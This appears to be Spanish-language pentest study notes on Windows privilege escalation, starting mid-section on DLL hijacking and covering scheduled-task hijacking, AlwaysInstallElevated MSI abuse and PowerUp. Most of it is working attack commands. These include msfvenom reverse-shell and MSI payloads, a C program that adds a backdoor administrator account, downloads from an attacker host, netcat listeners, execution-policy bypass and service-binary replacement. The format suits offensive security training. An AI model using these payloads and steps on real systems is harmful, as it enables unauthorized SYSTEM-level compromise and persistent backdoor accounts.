# 5. Esperar a que alguien con privilegios ejecute la aplicación
# O intentar ejecutarla tú si ya tienes el contexto correcto
# 6. Verificar éxito (si usaste creación de usuario)
net user attacker
net localgroup administratorsNotas Importantes
Los privilegios de la DLL dependen de quién ejecuta el proceso:
Si el usuario steve ejecuta la aplicación:
→ La DLL corre con privilegios de steve (usuario normal)
→ No sirve para escalada
Si el usuario admin o SYSTEM ejecuta la aplicación:
→ La DLL corre con privilegios de admin/SYSTEM
→ Escalada de privilegios exitosaPor eso la estrategia es:
- Colocar la DLL maliciosa en el directorio correcto
- Esperar a que un usuario con privilegios más altos ejecute la aplicación
- La DLL se carga con sus privilegios
Verificar si alguien con privilegios puede ejecutar la aplicación:
# Ver si hay tareas programadas que ejecutan la aplicación como admin/SYSTEM
Get-ScheduledTask | Where-Object {$_.Actions -like "*CustomApp*"} | Select-Object TaskName, Principal
# Ver si es un servicio que podría reiniciarse
Get-Service | Where-Object {$_.DisplayName -like "*CustomApp*"}Enumeración de Tareas Programadas
# Ver todas
schtasks /query /fo LIST /v
# PowerShell (mejor formato)
Get-ScheduledTask | Select-Object TaskName, State, Actions, Principal
# Tareas como SYSTEM o admin
Get-ScheduledTask |
Where-Object {$_.Principal.UserId -like "*SYSTEM*" -or $_.Principal.UserId -like "*admin*"} |
Select-Object TaskName, Actions, Principal, Triggers
# Detalles específicos
schtasks /query /tn "ScheduledTask" /fo list /v
# Buscar: "Task To Run" (binario), "Run As User" (usuario)Filtros para Identificar Vulnerables
# Filtro 1: Solo habilitadas (descartar inactivas)
Get-ScheduledTask |
Where-Object {($_.Principal.UserId -like "*SYSTEM*" -or $_.Principal.UserId -like "*admin*") -and $_.State -eq "Ready"} |
Select-Object TaskName, State, @{Name="RunAs"; Expression={$_.Principal.UserId}}, Actions
# Filtro 2: Scripts PowerShell (fácil de reemplazar)
Get-ScheduledTask |
Where-Object {($_.Principal.UserId -like "*SYSTEM*" -or $_.Principal.UserId -like "*admin*") -and $_.Actions -like "*powershell*"} |
Select-Object TaskName, Actions, Principal
# Filtro 3: Scripts .bat, .cmd, .vbs (muy fácil de reemplazar)
Get-ScheduledTask |
Where-Object {($_.Principal.UserId -like "*SYSTEM*" -or $_.Principal.UserId -like "*admin*") -and ($_.Actions -like "*.bat*" -or $_.Actions -like "*.cmd*" -or $_.Actions -like "*.vbs*")} |
Select-Object TaskName, Actions, Principal
# Filtro 4: Excluir Microsoft (solo tareas custom - más probable vulnerables)
Get-ScheduledTask |
Where-Object {($_.Principal.UserId -like "*SYSTEM*" -or $_.Principal.UserId -like "*admin*") -and $_.TaskPath -notlike "\Microsoft*"} |
Select-Object TaskName, State, Actions, Principal
# Filtro 5: Tareas frecuentes (más oportunidades de hijack)
Get-ScheduledTask |
Where-Object {($_.Principal.UserId -like "*SYSTEM*" -or $_.Principal.UserId -like "*admin*") -and $_.Triggers.Repetition.Interval -lt "PT1H"} |
Select-Object TaskName, @{Name="Interval"; Expression={$_.Triggers.Repetition.Interval}}, Actions
# Filtro 6: Directorios writable (CRÍTICO - escalada directa)
$tasks = Get-ScheduledTask | Where-Object {$_.Principal.UserId -like "*SYSTEM*" -or $_.Principal.UserId -like "*admin*"}
foreach ($task in $tasks) {
$action = $task.Actions | Select-Object -First 1
if ($action.Execute) {
$path = Split-Path -Parent $action.Execute
$perms = Get-Acl $path -ErrorAction SilentlyContinue
if ($perms.Access | Where-Object {$_.IdentityReference -like "*Users*" -and $_.AccessControlType -eq "Allow"}) {
Write-Host "VULNERABLE: $($task.TaskName) | Path: $path | RunAs: $($task.Principal.UserId)" -ForegroundColor Red
}
}
}
# Filtro 7: Permisos débiles en binarios (overwrite directo)
$tasks = Get-ScheduledTask | Where-Object {$_.Principal.UserId -like "*SYSTEM*" -or $_.Principal.UserId -like "*admin*"}
foreach ($task in $tasks) {
$action = $task.Actions | Select-Object -First 1
$binaryPath = $action.Execute
if (Test-Path $binaryPath) {
$filePerms = Get-Acl $binaryPath -ErrorAction SilentlyContinue
foreach ($access in $filePerms.Access) {
if (($access.IdentityReference -like "*Users*" -or $access.IdentityReference -like "*Everyone*") -and
($access.FileSystemRights -like "*Write*" -or $access.FileSystemRights -like "*Modify*")) {
Write-Host "VULNERABLE: $($task.TaskName) | File: $binaryPath | Permisos: $($access.FileSystemRights)" -ForegroundColor Red
}
}
}
}
# Filtro 8: Rutas exactas del binario/script (saber qué reemplazar)
$tasks = Get-ScheduledTask | Where-Object {$_.Principal.UserId -like "*SYSTEM*" -or $_.Principal.UserId -like "*admin*"}
foreach ($task in $tasks) {
$action = $task.Actions | Select-Object -First 1
if ($action.Arguments -like "*.ps1*" -or $action.Arguments -like "*.bat*" -or $action.Arguments -like "*.cmd*") {
Write-Host "TaskName: $($task.TaskName) | RunAs: $($task.Principal.UserId) | Binary: $($action.Execute) | Args: $($action.Arguments)"
}
}
# Filtro 9: Tareas con trigger at logon (automáticas al iniciar sesión)
Get-ScheduledTask |
Where-Object {($_.Principal.UserId -like "*SYSTEM*" -or $_.Principal.UserId -like "*admin*") -and $_.Triggers | Where-Object {$_.GetType().Name -like "*Logon*"}} |
Select-Object TaskName, Triggers, Actions, Principal
# Filtro 10: Filtrado rápido - Solo lo que importa de una vez
schtasks /query /fo LIST /v | findstr /i "Task To Run\|Run As User\|Status"Vector 5: Scheduled Tasks Hijacking
¿Cómo funciona? Si una tarea programada ejecuta un binario que puedes modificar y corre como admin/SYSTEM, reemplázalo.
Enumeración Básica
# Ver todas las tareas
schtasks /query /fo LIST /v
# PowerShell - formato tabla
Get-ScheduledTask | Select-Object TaskName, State, Actions, Principal
# Tareas como SYSTEM o admin
Get-ScheduledTask |
Where-Object {$_.Principal.UserId -like "*SYSTEM*" -or $_.Principal.UserId -like "*admin*"} |
Select-Object TaskName, Actions, Principal, Triggers
# Detalles de tarea específica
schtasks /query /tn "NombreTarea" /fo LIST /v
# Buscar: "Task To Run" (binario), "Run As User" (usuario)Enumeración - Paso 1: Filtro inicial
# Tareas SYSTEM/admin habilitadas
Get-ScheduledTask |
Where-Object {($_.Principal.UserId -like "*SYSTEM*" -or $_.Principal.UserId -like "*admin*") -and $_.State -eq "Ready"} |
Select-Object TaskName, State, @{Name="RunAs"; Expression={$_.Principal.UserId}}, ActionsDel output, lo primero que buscas son tareas que no sean de Microsoft. Las tareas del sistema como .NET Framework NGEN, Windows Defender, ScheduledDefrag, etc., son legítimas y no sirven para escalada. Lo que interesa son las tareas custom como AppMaintenance, DataSync.
Enumeración - Paso 2: Aislar tareas NO-Microsoft
# Excluir todo lo que sea de Microsoft/Windows
Get-ScheduledTask |
Where-Object {
($_.Principal.UserId -like "*SYSTEM*" -or $_.Principal.UserId -like "*admin*") -and
$_.State -eq "Ready" -and
$_.TaskPath -notlike "\Microsoft*"
} | ForEach-Object {
$action = $_.Actions | Select-Object -First 1
[PSCustomObject]@{
TaskName = $_.TaskName
RunAs = $_.Principal.UserId
Binary = $action.Execute
Arguments = $action.Arguments
}
} | Format-Table -AutoSizeEnumeración - Paso 3: Profundizar en tarea específica
Una vez identificada una tarea interesante, sacar todos sus detalles:
# Detalles completos de la tarea
Get-ScheduledTask -TaskName "NombreTarea" | Select-Object *
# Ver el binario exacto que ejecuta
Get-ScheduledTask -TaskName "NombreTarea" |
Select-Object -ExpandProperty Actions
# Ver cuándo se ejecuta (triggers)
Get-ScheduledTask -TaskName "NombreTarea" |
Select-Object -ExpandProperty Triggers
# Todo junto en formato legible
Get-ScheduledTask -TaskName "NombreTarea" | ForEach-Object {
Write-Host "Nombre: $($_.TaskName)"
Write-Host "Estado: $($_.State)"
Write-Host "RunAs: $($_.Principal.UserId)"
Write-Host "TaskPath: $($_.TaskPath)"
Write-Host ""
Write-Host "Triggers:"
$_.Triggers | ForEach-Object { Write-Host " → $($_.CimClass.CimClassName)" }
Write-Host ""
Write-Host "Acciones:"
$_.Actions | ForEach-Object {
Write-Host " → Execute: $($_.Execute)"
Write-Host " → Arguments: $($_.Arguments)"
Write-Host " → WorkingDir: $($_.WorkingDirectory)"
}
}Enumeración - Paso 4: schtasks (cmd) para ver más detalles
rem Detalles completos de una tarea
schtasks /query /tn "NombreTarea" /fo LIST /v
rem Buscar: "Task To Run" (binario) y "Run As User" (usuario)
rem Filtrar solo lo importante de todas las tareas
schtasks /query /fo LIST /v | findstr /i "TaskName\|Task To Run\|Run As User\|Status"
rem Excluir tareas de Microsoft/SYSTEM
schtasks /query /fo LIST /v | findstr /i "Task To Run\|Run As User" | findstr /iv "NT AUTHORITY\|SYSTEM\|\\Windows\\"Enumeración - Paso 5: Verificar permisos del binario
Una vez tienes la ruta del binario que ejecuta la tarea:
# Verificar permisos del binario
icacls "C:\ruta\al\binario.exe"
# Verificar permisos del directorio
icacls "C:\ruta\al\"
# Script automático - verificar permisos de todas las tareas no-Microsoft
Get-ScheduledTask |
Where-Object {
($_.Principal.UserId -like "*SYSTEM*" -or $_.Principal.UserId -like "*admin*") -and
$_.State -eq "Ready" -and
$_.TaskPath -notlike "\Microsoft*"
} | ForEach-Object {
$action = $_.Actions | Select-Object -First 1
$binary = $action.Execute
if ($binary -and (Test-Path $binary)) {
$perms = icacls $binary 2>$null
$vulnerable = $perms | Select-String "Users.*[MWF]|Authenticated Users.*[MWF]|Everyone.*[MWF]"
if ($vulnerable) {
Write-Host "VULNERABLE: $($_.TaskName)" -ForegroundColor Red
Write-Host "Binary: $binary"
Write-Host "RunAs: $($_.Principal.UserId)"
Write-Host "Permisos:"
Write-Host $vulnerable
Write-Host ""
} else {
Write-Host "NO vulnerable: $($_.TaskName) | $binary" -ForegroundColor Gray
}
}
}Explotación
1. Identificar tarea y binario
schtasks /query /tn "NombreTarea" /fo LIST /v
# Buscar:
# Task To Run: C:\ruta\al\binario.exe
# Run As User: svcadmin / SYSTEM2. Verificar permisos
icacls "C:\ruta\al\binario.exe"
# Buscar: Users:(M), Users:(W), Users:(F), Authenticated Users:(M)3. Crear malicioso
# Reverse shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4448 -f exe -o shell.exe
# Crear usuario admin (sin necesitar listener)
msfvenom -p windows/x64/exec CMD="net user attacker Password123! /add && net localgroup administrators attacker /add" -f exe -o shell.exe# Binario para C
#include <stdlib.h>
int main ()
{
int i;
i = system ("net user attacker password123! /add");
i = system ("net localgroup administrators attacker /add");
return 0;
}x86_64-w64-mingw32-gcc adduser.c -o adduser.exe4. Reemplazar
# Backup del original
Copy-Item "C:\ruta\al\binario.exe" "C:\ruta\al\binario.exe.bak"
# Descargar y reemplazar
iwr -uri http://192.168.1.100/shell.exe -OutFile shell.exe
move shell.exe "C:\ruta\al\binario.exe"5. Listener (si usas reverse shell)
nc -lvp 44486. Esperar o forzar ejecución
# Forzar ejecución manualmente
schtasks /run /tn "NombreTarea"
# O esperar a que se ejecute sola según su trigger7. Recibir shell como admin
whoami
dominio\admin8. Verificar
whoami
net localgroup administrators# Conectarte con runas con privilegios de Administradores
runas /user:attacker "powershell -Command Start-Process cmd -Verb RunAs"El parámetro -Verb RunAs solicita explícitamente la elevación: aparece la ventana de UAC, das clic en Sí y Windows entrega el token completo de administrador a la nueva ventana de cmd. Esa sí tiene poderes reales para tomar posesión (takeown).
Qué mirar primero en el output
Cuando corres el filtro inicial y ves un output largo, el proceso mental es:
1. Ignorar todo lo que sea \Microsoft\ → tareas del sistema, no vulnerables
2. Buscar tareas con nombre custom → AppMaintenance, DataSync, CustomTask, etc.
3. Ver el RunAs → si es un usuario privilegiado o cualquier admin = interesante
4. Sacar el binario de esa tarea → Get-ScheduledTask -TaskName "..." | ExpandProperty Actions
5. Correr icacls sobre ese binario → buscar (M), (W), (F) para tu usuarioVector 6: Always Install Elevated (MSI Exploitation)
Vulnerabilidad: Instaladores MSI se pueden ejecutar con privilegios elevados desde cualquier usuario.
Verificar si está vulnerable
# Necesitan AMBOS valores = 1
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
# O específicamente:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# Si ambas devuelven "0x1" = VULNERABLE
# Si devuelven "not found" = NO vulnerableExplotación
1. Crear MSI malicioso
# En Kali
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4449 -f msi -o malicious.msi2. Transferir
iwr -uri http://192.168.1.100/malicious.msi -OutFile malicious.msi3. Listener
nc -lvp 44494. Ejecutar instalador
# Sin UAC ni permisos requeridos
msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi
# Parámetros:
# /quiet = No mostrar interfaz
# /qn = Silencioso
# /i = Instalar
# O con logging
msiexec /i C:\Windows\Temp\malicious.msi /L* log.txt5. Recibir shell como SYSTEM
whoami
nt authority\systemVector 7: Búsqueda Automatizada con PowerUp.ps1
PowerUp automatiza la búsqueda de todos estos vectores.
# Descargar
iwr -uri http://192.168.1.100/PowerUp.ps1 -OutFile PowerUp.ps1
# Bypass
Set-ExecutionPolicy Bypass -Scope process -Force
powershell -ep bypass
# Importar
. .\PowerUp.ps1
# Buscar TODOS los vectores
Invoke-AllChecks
# O búsquedas específicas:
Get-ModifiableServiceFile # Servicios modificables
Get-UnquotedService # Rutas sin comillas
Find-PathHijack # DLLs hijackeables
Get-ScheduledTasksWithModifiableFile # Tareas hijackeablesResultado típico:
ServiceName : AppService
Path : C:\CustomApp\AppService.exe
ModifiablePath : C:\CustomApp\AppService.exe
StartName : LocalSystem
CanRestart : True
AbuseFunction : Install-ServiceBinary -Name 'AppService'
Check : Modifiable Service Files
ServiceName : VulnService
Path : C:\Custom Path\Vulnerable Service\vuln.exe
ModifiablePath : C:\Custom Path\
StartName : LocalSystem
CanRestart : False
AbuseFunction : Write-ServiceBinary -Name 'VulnService' -Path <HijackPath>
Check : Unquoted Service PathsQué Considerar en el Output de PowerUp
Campos clave a revisar en cada resultado:
ServiceName → nombre del servicio
Path → ruta del binario que ejecuta
ModifiablePath → qué ruta exacta puedes modificar (puede ser el binario, el dir, o C:\)
StartName → usuario que ejecuta el servicio (.\svcuser, LocalSystem, etc)
CanRestart → si puedes reiniciar el servicio SIN esperar reboot
AbuseFunction → comando exacto que te da PowerUp para explotarlo
Check → tipo de vulnerabilidad encontradaCanRestart es lo más importante:
CanRestart: True → Explotas AHORA, sin esperar nada
CanRestart: False → Necesitas que el sistema reinicie (esperar o forzar reboot)Prioridad de explotación:
1. Modifiable Service Files + CanRestart: True → EXPLOTAR PRIMERO
2. Unquoted Service Paths + CanRestart: True → EXPLOTAR SEGUNDO
3. Modifiable Service Files + CanRestart: False → Solo si puedes forzar reboot
4. ModifiableFile = C:\ + cualquier cosa → Probablemente falso positivoInterpretar icacls - Qué Permisos Importan
Después de encontrar un servicio con PowerUp, confirmar con icacls:
icacls C:\ruta\al\binario.exeTabla de permisos:
(F) = Full Control → Control total, puedes hacer todo
(M) = Modify → Puedes modificar/sobreescribir el archivo ← SUFICIENTE
(W) = Write → Puedes escribir en el archivo
(RX) = Read+Execute → Solo leer y ejecutar, NO sirve para explotar
(R) = Read → Solo leer, NO sirve
(X) = Execute → Solo ejecutar, NO sirve
(I) = Inherited → Permiso heredado del directorio padreLo que buscas (en orden de preferencia):
(F) → Full = reemplazas sin problema
(M) → Modify = suficiente para sobreescribir el binario
(W) → Write = puedes escribir pero puede tener limitacionesEjemplo del output:
C:\CustomApp\AppService.exe BUILTIN\Administrators:(I)(F)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Users:(I)(RX) ← No sirve
NT AUTHORITY\Authenticated Users:(I)(M) ← ESTE sirveAuthenticated Users:(M) significa que cualquier usuario autenticado (incluido tú) puede modificar el archivo.
Falsos Positivos Comunes
ModifiableFile = C:\Cuando PowerUp reporta que C:\ es el archivo modificable, generalmente es un falso positivo. Significa que tienes permisos de escritura en el directorio raíz (AppendData), pero NO sobre el binario del servicio en sí.
# Verificar manualmente si es falso positivo
icacls C:\ruta\al\binario.exe
# Si Users o Authenticated Users NO tienen (M), (W), o (F) = falso positivo
# Si el binario dice solo (RX) = no puedes sobreescribir = falso positivoFlujo Completo: PowerUp → Confirmar → Explotar
# 1. Correr PowerUp
Invoke-AllChecks
# 2. Identificar candidato (CanRestart: True primero)
# Ejemplo de output:
# ServiceName : AppService
# Path : C:\CustomApp\AppService.exe
# CanRestart : True
# AbuseFunction: Install-ServiceBinary -Name 'AppService'
# 3. Confirmar permisos manualmente
icacls C:\CustomApp\AppService.exe
# Buscar: Authenticated Users:(M), Users:(W), Everyone:(F)
# 4. Si confirma = explotar con AbuseFunction del output
Install-ServiceBinary -Name 'AppService'
# o con comando personalizado
Install-ServiceBinary -Name 'AppService' -Command "net user attacker Password123 /add && net localgroup administrators attacker /add"
# o unquoted path
Write-ServiceBinary -Name 'VulnService' -Path 'C:\Custom Path\Vuln.exe'
# 5. Reiniciar servicio (si CanRestart: True)
sc stop AppService
sc start AppService
# 6. Verificar escalada
whoami
net localgroup administratorsManejo de Servicios
# Ver tipo de inicio
sc qc <service_name> | findstr START_TYPE
# 0 = Boot
# 1 = System
# 2 = Automatic (se inicia al bootear)
# 3 = Manual (no inicia automáticamente)
# 4 = Disabled
# Detener servicio
net stop <service_name>
Stop-Service <service_name>
# Iniciar
net start <service_name>
Start-Service <service_name>
# Estado
Get-Service <service_name>
sc query <service_name>